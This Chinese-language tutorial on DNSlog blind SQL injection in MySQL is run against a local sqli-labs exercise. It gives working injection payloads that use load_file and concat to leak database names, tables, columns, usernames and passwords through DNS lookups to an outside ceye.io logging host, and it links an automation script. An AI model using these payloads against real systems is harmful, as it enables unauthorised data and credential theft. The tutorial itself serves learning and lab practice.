SQL注入学习-Dnslog盲注
1.基础知识
1.DNS
DNS(Domain Name System,域名系统),因特网上作为域名和IP地址相互映射的一个分布式数据库,能够使用户更方便的访问互联网,而不用去记住能够被机器直接读取的IP数串。通过主机名,最终得到该主机名对应的IP地址的过程叫做域名解析(或主机名解析)。DNS协议运行在UDP协议之上,使用端口号53。在RFC文档中RFC 2181对DNS有规范说明,RFC 2136对DNS的动态更新进行说明,RFC 2308对DNS查询的反向缓存进行说明。
2.Dnslog
Dnslog就是存储在DNS Server上的域名信息,它记录着用户对域名www.test.com
、t00ls.com.
等的访问信息。
DnsLog盲注
对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入 使用DnsLog盲注仅限于windos环境。
原理图:
如图,攻击者首先提交注入语句select load_file(concat('\\\\','攻击语句',.XXX.ceye.io\\abc))
在数据库中攻击语句被执行,由concat
函数将执行结果与XXX.ceye.io\\abc
拼接,构成一个新的域名,而mysql中的select load_file()
可以发起请求,那么这一条带有数据库查询结果的域名就被提交到DNS服务器进行解析
此时,如果我们可以查看DNS服务器上的Dnslog就可以得到SQL注入结果。那么我们如何获得这条DNS查询记录呢?注意注入语句中的ceye.io
,这其实是一个开放的Dnslog平台(具体用法在官网可见),在http://ceye.io上我们可以获取到有关ceye.io
的DNS查询信息。实际上在域名解析的过程中,是由顶级域名向下逐级解析的,我们构造的攻击语句也是如此,当它发现域名中存在ceye.io
时,它会将这条域名信息转到相应的NS服务器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。
构造语法
构造语句,利用load_file()函数发起请求,使用Dnslog接受请求,获取数据
SELECT LOAD_FILE(CONCAT('\\\',(select database(),'mysql.cmr1ua.ceye.io\\abc')))
通过SQL语句查询内容,作为请求的一部分发送至Dnslog
只要对这一部分语句进行构造,就能实现有回显的SQL注入
payload:
获取数据库名
http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+
通过dnslog查看到数据名为security
获取数据表
http://127.0.0.1/lou/sql/Less-9/?id=1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
获取表中的字段名
' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
获取表中字段下的数据
' and load_file(concat('\\\\',(select password from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+ ' and load_file(concat('\\\\',(select username from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去
' and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
Donslog注入脚本
https://github.com/ADOOO/DnslogSqlinj
参考学习:https://www.jianshu.com/p/d6788f57dba5
https://www.cnblogs.com/afanti/p/8047530.html
网易云白帽子进阶课程